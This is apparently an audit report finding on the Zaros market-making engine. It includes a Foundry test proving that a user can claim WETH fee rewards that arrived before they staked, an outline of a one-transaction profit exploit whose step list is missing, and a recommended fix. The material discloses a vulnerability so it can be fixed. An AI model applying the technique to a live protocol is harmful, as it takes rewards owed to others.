User can claim the WETH rewards received before they staked.
The received weth rewards is added to the stored values of vaults' total weth reward.
pragma solidity 0.8.25;
import { Test, console } from "forge-std/Test.sol";
import "./Base.t.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { Vault } from "@zaros/market-making/leaves/Vault.sol";
import { Collateral } from "@zaros/market-making/leaves/Collateral.sol";
contract AuditTest is Base_Test {
address owner = makeAddr("Owner");
address feeRecipient = makeAddr("FeeRecipient");
function setUp() override public {
bool isTestnet = false;
address[] memory branches = deployPerpsEngineBranches(isTestnet);
bytes4[][] memory branchesSelectors = getPerpsEngineBranchesSelectors(isTestnet);
RootProxy.BranchUpgrade[] memory branchUpgrades =
getBranchUpgrades(branches, branchesSelectors, RootProxy.BranchUpgradeAction.Add);
address[] memory initializables = getInitializables(branches);
bytes[] memory initializePayloads = getInitializePayloads(owner);
branchUpgrades = deployPerpsEngineHarnesses(branchUpgrades);
RootProxy.InitParams memory initParams = RootProxy.InitParams({
initBranches: branchUpgrades,
initializables: initializables,
initializePayloads: initializePayloads
});
perpsEngine = IPerpsEngine(address(new MockEngine(initParams)));
address[] memory mmBranches = deployMarketMakingEngineBranches();
bytes4[][] memory mmBranchesSelectors = getMarketMakerBranchesSelectors();
RootProxy.BranchUpgrade[] memory mmBranchUpgrades =
getBranchUpgrades(mmBranches, mmBranchesSelectors, RootProxy.BranchUpgradeAction.Add);
RootProxy.BranchUpgrade[] memory mmbranchUpgrades = new RootProxy.BranchUpgrade[](mmBranchUpgrades.length);
for (uint256 i; i < mmbranchUpgrades.length; i++) {
mmbranchUpgrades[i] = mmBranchUpgrades[i];
}
initializables = getInitializables(mmBranches);
initializePayloads = getInitializePayloads(owner);
RootProxy.InitParams memory mmEngineInitParams = RootProxy.InitParams({
initBranches: mmbranchUpgrades,
initializables: initializables,
initializePayloads: initializePayloads
});
marketMakingEngine = IMarketMakingEngine(address(new MarketMakingEngine(mmEngineInitParams)));
vm.startPrank(owner);
uint256[2] memory marginCollateralIdsRange;
marginCollateralIdsRange[0] = INITIAL_MARGIN_COLLATERAL_ID;
marginCollateralIdsRange[1] = FINAL_MARGIN_COLLATERAL_ID;
mockSequencerUptimeFeed = address(new MockSequencerUptimeFeed(0));
configureMarginCollaterals(IPerpsEngine(perpsEngine), marginCollateralIdsRange, true, mockSequencerUptimeFeed, owner);
usdc = MockERC20(marginCollaterals[USDC_MARGIN_COLLATERAL_ID].marginCollateralAddress);
usdToken = MockUsdToken(marginCollaterals[USD_TOKEN_MARGIN_COLLATERAL_ID].marginCollateralAddress);
weEth = MockERC20(marginCollaterals[WEETH_MARGIN_COLLATERAL_ID].marginCollateralAddress);
wstEth = MockERC20(marginCollaterals[WSTETH_MARGIN_COLLATERAL_ID].marginCollateralAddress);
wEth = MockERC20(marginCollaterals[WETH_MARGIN_COLLATERAL_ID].marginCollateralAddress);
wBtc = MockERC20(marginCollaterals[WBTC_MARGIN_COLLATERAL_ID].marginCollateralAddress);
marketMakingEngine.configureCollateral(
address(usdToken),
marginCollaterals[USD_TOKEN_MARGIN_COLLATERAL_ID].priceAdapter,
MOCK_PERP_CREDIT_CONFIG_DEBT_CREDIT_RATIO,
true,
marginCollaterals[USD_TOKEN_MARGIN_COLLATERAL_ID].tokenDecimals
);
marketMakingEngine.configureCollateral(
address(wEth),
marginCollaterals[WETH_MARGIN_COLLATERAL_ID].priceAdapter,
MOCK_PERP_CREDIT_CONFIG_DEBT_CREDIT_RATIO,
true,
marginCollaterals[WETH_MARGIN_COLLATERAL_ID].tokenDecimals
);
marketMakingEngine.setWeth(address(wEth));
marketMakingEngine.configureEngine(address(perpsEngine), address(usdToken), true);
marketMakingEngine.configureVaultDepositAndRedeemFeeRecipient(feeRecipient);
uint256[2] memory vaultsIdsRange;
vaultsIdsRange[0] = INITIAL_VAULT_ID;
vaultsIdsRange[1] = FINAL_VAULT_ID;
setupVaultsConfig();
createZlpVaults(address(marketMakingEngine), owner, vaultsIdsRange);
bool isTest = true;
setupPerpMarketsCreditConfig(isTest, address(perpsEngine), address(usdToken));
vm.stopPrank();
}
function testAudit_UserCanClaimWethRewardsReceivedBeforeTheyStaked() public {
vm.startPrank(owner);
uint128 vaultId = WETH_CORE_VAULT_ID;
address indexToken = address(zlpVaults[vaultsConfig[vaultId].asset][vaultsConfig[vaultId].vaultType]);
ZlpVault zlpVault = ZlpVault(indexToken);
Collateral.Data memory collateral = Collateral.Data({
creditRatio: vaultsConfig[vaultId].creditRatio,
priceAdapter: vaultsConfig[vaultId].priceAdapter,
asset: vaultsConfig[vaultId].asset,
isEnabled: vaultsConfig[vaultId].isEnabled,
decimals: vaultsConfig[vaultId].decimals
});
Vault.CreateParams memory vaultCreatParams = Vault.CreateParams({
depositFee: vaultsConfig[vaultId].depositFee,
redeemFee: vaultsConfig[vaultId].redeemFee,
vaultId: vaultsConfig[vaultId].vaultId,
depositCap: vaultsConfig[vaultId].depositCap,
withdrawalDelay: vaultsConfig[vaultId].withdrawalDelay,
indexToken: indexToken,
engine: address(perpsEngine),
collateral: collateral
});
marketMakingEngine.createVault(vaultCreatParams);
Vault.UpdateParams memory vaultUpdateParams = Vault.UpdateParams({
vaultId: vaultId,
depositCap: vaultCreatParams.depositCap,
withdrawalDelay: vaultCreatParams.withdrawalDelay,
isLive: true,
lockedCreditRatio: 0
});
marketMakingEngine.updateVaultConfiguration(vaultUpdateParams);
uint128 marketCreditConfigId = ETH_PERP_MARKET_CREDIT_CONFIG_ID;
uint128 marketId = perpMarketsCreditConfig[marketCreditConfigId].marketId;
marketMakingEngine.configureMarket(
address(perpsEngine),
perpMarketsCreditConfig[marketCreditConfigId].marketId,
perpMarketsCreditConfig[marketCreditConfigId].autoDeleverageStartThreshold,
perpMarketsCreditConfig[marketCreditConfigId].autoDeleverageEndThreshold,
perpMarketsCreditConfig[marketCreditConfigId].autoDeleverageExpoentZ
);
uint256[] memory marketIds = new uint256[](1);
marketIds[0] = perpMarketsCreditConfig[marketCreditConfigId].marketId;
uint256[] memory vaultIds = new uint256[](1);
vaultIds[0] = vaultsConfig[vaultId].vaultId;
marketMakingEngine.connectVaultsAndMarkets(marketIds, vaultIds);
marketMakingEngine.updateVaultCreditCapacity(vaultsConfig[vaultId].vaultId);
vm.stopPrank();
wEth.mint(address(perpsEngine), 1 ether);
vm.startPrank(address(perpsEngine));
wEth.approve(address(marketMakingEngine), 1 ether);
marketMakingEngine.receiveMarketFee(marketId, address(wEth), 1 ether);
vm.stopPrank();
address alice = makeAddr("Alice");
uint256 depositAmount = 2e18;
wEth.mint(alice, depositAmount);
vm.startPrank(alice);
wEth.approve(address(marketMakingEngine), depositAmount);
marketMakingEngine.deposit(vaultsConfig[vaultId].vaultId, uint128(depositAmount), 0, "", false);
uint256 shares = zlpVault.balanceOf(alice);
zlpVault.approve(address(marketMakingEngine), shares);
marketMakingEngine.stake(vaultId, uint128(shares));
vm.stopPrank();
wEth.mint(address(perpsEngine), 1 ether);
vm.startPrank(address(perpsEngine));
wEth.approve(address(marketMakingEngine), 1 ether);
marketMakingEngine.receiveMarketFee(marketId, address(wEth), 1 ether);
vm.stopPrank();
vm.prank(alice);
marketMakingEngine.claimFees(vaultId);
assertEq(wEth.balanceOf(alice), 2 ether - 1);
}
}
When Market Making Engine receives market fee from registered engines, if there is no stakes, a malicious user can leverage this issue to:
All this can be done in one trancation and the exploit can be profit when the old Weth rewards is large enough (to cover protocol fee).
It is recommended to sent all the Weth rewards to fee recipient when there is no stakes.